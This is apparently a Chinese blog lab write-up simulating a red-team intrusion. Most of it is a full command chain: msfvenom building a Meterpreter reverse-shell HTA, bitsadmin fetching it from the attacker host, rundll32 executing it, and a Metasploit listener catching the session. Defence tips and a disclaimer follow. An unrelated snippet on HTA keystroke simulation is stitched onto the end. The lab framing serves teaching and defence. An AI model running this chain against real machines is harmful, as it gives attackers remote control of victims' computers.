基于HTA和BITSAdmin的模拟渗透攻击实验

基于HTA和BITSAdmin的模拟渗透攻击实验

一、 实验概述

本实验旨在模拟一个常见的攻击者(红队)渗透流程。攻击者利用Metasploit框架生成一个恶意的HTA(HTML Application)文件,通过Windows系统自带的BITSAdmin工具将其传输到靶机,并最终通过执行该文件在靶机上获得一个Meterpreter反向Shell会话,从而实现对靶机的远程控制。

实验环境:

  • 攻击机 (Attacker): Kali Linux 2023 (IP: 192.168.1.26)
  • 靶机 (Target): Windows 10/11 (需能访问 http://192.168.1.26)
  • 工具: Metasploit Framework, BITSAdmin, PowerShell

实验原理:

  1. 载荷生成: 使用msfvenom生成一个包含Meterpreter反向TCP连接的恶意HTA文件。
  2. 载荷投递: 利用Windows合法工具BITSAdmin(后台智能传输服务)从攻击机搭建的Web服务器下载恶意文件到靶机,这是一种“Living off the Land”技术,可以规避一些安全软件的检测。
  3. 载荷执行: 在靶机上执行HTA文件,HTA文件中的PowerShell脚本会启动,并主动连接到攻击机监听的端口。
  4. 会话建立: 攻击机上的Metasploit监听器接收到来自靶机的连接,建立Meterpreter会话,从而获得对靶机的控制权。

二、 实验步骤
步骤 1:生成恶意HTA载荷

在Kali Linux攻击机上打开终端,执行以下命令:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.26 LPORT=7777 -f hta-psh > attack.hta
  • 命令解释:
    • -p windows/x64/meterpreter/reverse_tcp: 指定使用的Payload为64位Windows系统的Meterpreter反向TCP连接。
    • LHOST=192.168.1.26: 指定回连的攻击机IP地址。
    • LPORT=7777: 指定回连的攻击机端口。
    • -f hta-psh: 指定输出格式为HTA,其中嵌入PowerShell命令。
    • > attack.hta: 将生成的载荷保存到当前目录下的attack.hta文件中。

截屏2025-08-28 18.39.08

步骤 2:启动Web服务

HTA文件需要通过网络被靶机下载。在Kali上,将生成的attack.hta文件放到Web服务器根目录。最简单的方法是使用Python内置的HTTP服务器。将attack.hta文件拷贝到/var/www/html目录下:

attack.hta文件所在目录下执行:

#systemctl start apache2

此命令会在攻击机的80端口启动一个临时的Web服务器。

在Windows系统的powershell(管理员模式)下,运行如下命令:

bitsadmin /transfer shell http://192.168.1.26/attack.hta c:\windows\temp\attack.hta

1

步骤 3:配置Metasploit监听器

打开Kali Linux上的新终端,启动Metasploit并设置监听器,等待靶机反弹回来的连接。

msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.26
set LPORT 7777
exploit -j
  • 命令解释:
    • msfconsole -q: 以安静模式启动MSF控制台(减少启动横幅)。
    • use exploit/multi/handler: 使用通用监听器 exploit模块。
    • set payload windows/x64/meterpreter/reverse_tcp: 设置Payload,必须与生成载荷时使用的Payload一致。
    • set LHOSTset LPORT: 设置监听的主机和端口,与生成载荷时的值一致。
    • exploit -j: 作为后台任务(Job)运行监听器,这样即使退出当前模块,监听仍在继续。

截屏2025-08-28 18.54.29

步骤 4:投递并执行载荷(在靶机操作)

模拟攻击者通过某种方式(如钓鱼邮件、漏洞利用等)诱使靶机用户执行以下命令。

  1. 使用BITSAdmin下载恶意文件:
    在靶机上以管理员身份打开PowerShellCMD,执行以下命令:

    bitsadmin /transfer shell http://192.168.1.26/attack.hta C:\Windows\Temp\attack.hta
    
    • 命令解释: 使用系统合法工具bitsadmin创建一个名为shell的下载任务,从攻击机的Web服务器下载attack.hta文件,并保存到靶机的C:\Windows\Temp\目录下。

    1

  2. 执行HTA文件:
    下载完成后,在同一个(管理员)PowerShell窗口中,执行以下命令:

    rundll32.exe url.dll, OpenURL C:\Windows\Temp\attack.hta
    
    • 命令解释: 使用rundll32调用url.dll库中的OpenURL函数来执行位于临时目录的HTA文件。这是一种常见的绕过执行限制的技巧。
步骤 5:获取反弹Shell

当靶机上的attack.hta文件被成功执行后,其内部的PowerShell脚本会启动,并主动向攻击机192.168.1.26:7777发起TCP连接。

此时,在Kali Linux的Metasploit控制台界面,你会看到类似以下的提示:

[*] Started reverse TCP handler on 192.168.1.26:7777
[*] Sending stage (203846 bytes) to 192.168.1.13
[*] Meterpreter session 1 opened (192.168.1.26:7777 -> 192.168.1.13:52775) at 2025-xx-xx xx:xx:xx +0000

这表示一个Meterpreter会话已经成功建立。你可以使用sessions命令查看所有会话,并使用sessions -i 1来交互式地控制这个编号为1的会话。


截屏2025-08-28 19.13.39

三、 实验总结与防御建议

实验总结:
本实验成功模拟了从生成恶意载荷、投递到最终获取Shell的完整攻击链。攻击者利用了系统合法工具(BITSAdmin、rundll32)和脚本技术(HTA/PowerShell),有效地绕过了部分安全软件的静态检测,凸显了“无文件攻击”和“Living off the Land”技术的威胁。

防御建议:

  1. 用户教育: 不要以管理员身份运行未知脚本或命令。对于来源不明的指令应保持高度警惕。
  2. 网络层防护: 部署防火墙,限制不必要的出站连接。在上述实验中,如果靶机无法向外发起对任意IP 7777端口的连接,攻击将失效。
  3. 终端防护: 启用并配置高级别的EDR(终端检测与响应)产品或杀毒软件,它们能够基于行为检测此类恶意活动(如PowerShell的异常网络连接)。
  4. 应用限制: 通过组策略等方法限制或监控BITSAdmin、PowerShell、rundll32等高风险工具的使用。
  5. 最小权限原则: 日常使用计算机时,不要使用管理员账户,使用标准用户账户可以大幅降低此类攻击的成功率。

免责声明:本文仅用于教育目的和安全研究,旨在帮助提升网络安全防御能力。请勿将文中所述技术用于任何非法目的。所有测试应在自己拥有合法授权的设备或实验环境中进行。

### HTA 程序模拟键盘输入 以下是通过 HTA (HTML Application) 使用 JavaScript 或 VBScript 来实现模拟键盘输入的示例代码: #### 方法一:使用 WScript.Shell 的 SendKeys 函数 可以利用 `WScript.Shell` 对象中的 `SendKeys` 方法来发送按键命令。 ```javascript <hta:application id="oHTA" applicationname="SimulateKeyboardInput"> <html> <head> <script language="VBScript"> Sub Window_OnLoad() Dim objShell Set objShell = CreateObject("WScript.Shell") ' 模拟按下 Ctrl+C 组合键 objShell.SendKeys "^c" ' 延迟一段时间再继续执行其他操作 WScript.Sleep 1000 ' 模拟按下 Enter 键 objShell.SendKeys "~" MsgBox "键盘输入已成功模拟!", vbInformation, "完成" End Sub </script> </head> <body> <h1>HTA 应用程序 - 模拟键盘输入</h1> <p>此应用程序将在加载时自动运行并模拟键盘输入。</p> </body> </html> ``` 上述代码展示了如何创建一个简单的 HTA 文件,当其启动时会调用 `Window_OnLoad()` 函数,并通过 `objShell.SendKeys` 发送特定的按键组合[^4]。 --- #### 方法二:使用 JavaScript 实现更复杂的键盘事件触发 对于某些高级场景下可能需要手动触发 DOM 中的键盘事件。下面是一个基于 HTML JavaScript 的例子: ```html <hta:application id="oHTA" applicationname="AdvancedKeyboardSimulation"> <html> <head> <script type="text/javascript"> function simulateKeyPress(character) { var evt = document.createEvent('KeyboardEvent'); evt.initKeyEvent( "keypress", true, true, window, false, false, false, false, character.charCodeAt(0), character.charCodeAt(0) ); var canceled = !document.body.dispatchEvent(evt); } window.onload = function() { setTimeout(function(){ simulateKeyPress('a'); // 模拟按下一个字母'a' alert("已经模拟了一个字符'A'!"); }, 1000); // 设置延迟时间以便观察效果 }; </script> </head> <body> <h1>HTA 应用程序 - 高级键盘事件模拟</h1> <p>该应用会在页面加载后一秒内模拟一次键盘输入。</p> </body> </html> ``` 这种方法允许更加精细地控制所要仿真的具体行为,比如指定不同的修饰符状态或者调整重复率等参数[^5]。 --- ### 注意事项 - 上述方法适用于 Windows 平台上的 HTA 应用开发环境。 - 如果计划将此类技术应用于安全研究之外的实际环境中,请务必遵循当地法律法规以及道德准则,避免非法入侵他人计算机系统的行为发生[^6]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Bruce_xiaowei

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值